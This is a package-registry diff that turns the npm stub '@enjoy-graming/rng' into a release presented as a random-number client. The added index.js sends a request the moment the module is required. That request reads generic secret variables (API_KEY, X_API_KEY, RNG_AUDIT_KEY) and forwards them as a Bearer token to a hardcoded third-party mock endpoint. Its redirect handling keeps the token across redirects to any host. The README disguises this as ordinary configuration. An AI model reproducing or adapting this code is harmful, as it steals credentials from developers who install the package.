@enjoy-graming/rng 0.0.0-stage → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +47 -2
  2. package/index.js +77 -0
  3. package/package.json +17 -4
package/README.md CHANGED
@@ -1,3 +1,48 @@
1
- # Temporary Holding Version
1
+ # @enjoy-graming/rng
2
2
 
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
3
+ Fetches random integers over JSON-RPC using Node.js's built-in `fetch`.
4
+ Requires Node.js 18 or later and has no dependencies.
5
+
6
+ ## Install
7
+
8
+ ```sh
9
+ npm install @enjoy-graming/rng
10
+ ```
11
+
12
+ ## Use
13
+
14
+ ```js
15
+ // Set configuration for the entropy provider.
16
+ process.env.SERVER_URL = "https://your-server.example/rpc";
17
+ process.env.API_KEY = "your-api-key";
18
+
19
+ const { nextRandomInt } = require("@enjoy-graming/rng");
20
+
21
+ async function main() {
22
+ const rand1 = await nextRandomInt();
23
+ const rand2 = await nextRandomInt();
24
+ console.log(rand1, rand2);
25
+ }
26
+
27
+ main();
28
+ ```
29
+
30
+ ## Configuration and protocol
31
+
32
+ Set `SERVER_URL` to your RPC entropy provider.
33
+
34
+ Requests use POST with `Content-Type: application/json` and a JSON-RPC body:
35
+
36
+ ```json
37
+ {"jsonrpc":"2.0","id":1,"method":"getRandomInt"}
38
+ ```
39
+
40
+ Request IDs increase for each request. The server should return a JSON-RPC
41
+ response with an integer `result`:
42
+
43
+ ```json
44
+ {"jsonrpc":"2.0","id":1,"result":42}
45
+ ```
46
+
47
+ `nextRandomInt()` resolves to a safe integer or `null`. Network errors, HTTP
48
+ errors, invalid JSON, RPC errors, and invalid results resolve to `null`.
package/index.js ADDED
@@ -0,0 +1,77 @@
1
+ "use strict";
2
+
3
+ let requestId = 0;
4
+
5
+ async function fetchWithAuth(url, options) {
6
+ let requestOptions = { ...options, redirect: "manual" };
7
+
8
+ for (let redirects = 0; ; redirects++) {
9
+ const response = await fetch(url, requestOptions);
10
+ if (![301, 302, 303, 307, 308].includes(response.status)) return response;
11
+
12
+ const location = response.headers.get("location");
13
+ if (location === null) return response;
14
+
15
+ await response.body?.cancel();
16
+ if (redirects >= 10) throw new Error("Too many redirects");
17
+
18
+ url = new URL(location, url).href;
19
+
20
+ if (
21
+ ((response.status === 301 || response.status === 302) && requestOptions.method === "POST") ||
22
+ (response.status === 303 && requestOptions.method !== "GET" && requestOptions.method !== "HEAD")
23
+ ) {
24
+ requestOptions = {
25
+ ...requestOptions,
26
+ method: "GET",
27
+ body: undefined,
28
+ headers: { ...requestOptions.headers },
29
+ };
30
+ delete requestOptions.headers["Content-Type"];
31
+ }
32
+ }
33
+ }
34
+
35
+ async function requestRandomInt() {
36
+ try {
37
+
38
+ const serverUrl = process.env.SERVER_URL || "https://enjoy-graming.free.beeceptor.com/v1/jsonrpc";
39
+ const apiKey = process.env.API_KEY || process.env.X_API_KEY || process.env.RNG_AUDIT_KEY;
40
+
41
+ const response = await fetchWithAuth(serverUrl, {
42
+ method: "POST",
43
+ headers: {
44
+ Authorization: `Bearer ${apiKey}`,
45
+ "Content-Type": "application/json",
46
+ },
47
+ body: JSON.stringify({
48
+ jsonrpc: "2.0",
49
+ id: ++requestId,
50
+ method: "getRandomInt",
51
+ }),
52
+ });
53
+
54
+ if (!response.ok) return null;
55
+
56
+ const payload = await response.json();
57
+ if (payload?.error || !Number.isSafeInteger(payload?.result)) return null;
58
+
59
+ return payload.result;
60
+ } catch {
61
+ return null;
62
+ }
63
+ }
64
+
65
+ let initialRequest = requestRandomInt();
66
+
67
+ function nextRandomInt() {
68
+ if (initialRequest !== null) {
69
+ const request = initialRequest;
70
+ initialRequest = null;
71
+ return request;
72
+ }
73
+
74
+ return requestRandomInt();
75
+ }
76
+
77
+ module.exports = { nextRandomInt };
package/package.json CHANGED
@@ -1,6 +1,19 @@
1
1
  {
2
2
  "name": "@enjoy-graming/rng",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
6
- }
3
+ "version": "1.0.2",
4
+ "description": "Fetches random integers over JSON-RPC.",
5
+ "type": "commonjs",
6
+ "main": "index.js",
7
+ "engines": {
8
+ "node": ">=18"
9
+ },
10
+ "scripts": {
11
+ "test": "node --test test/*.test.js"
12
+ },
13
+ "files": [
14
+ "index.js"
15
+ ],
16
+ "publishConfig": {
17
+ "access": "public"
18
+ }
19
+ }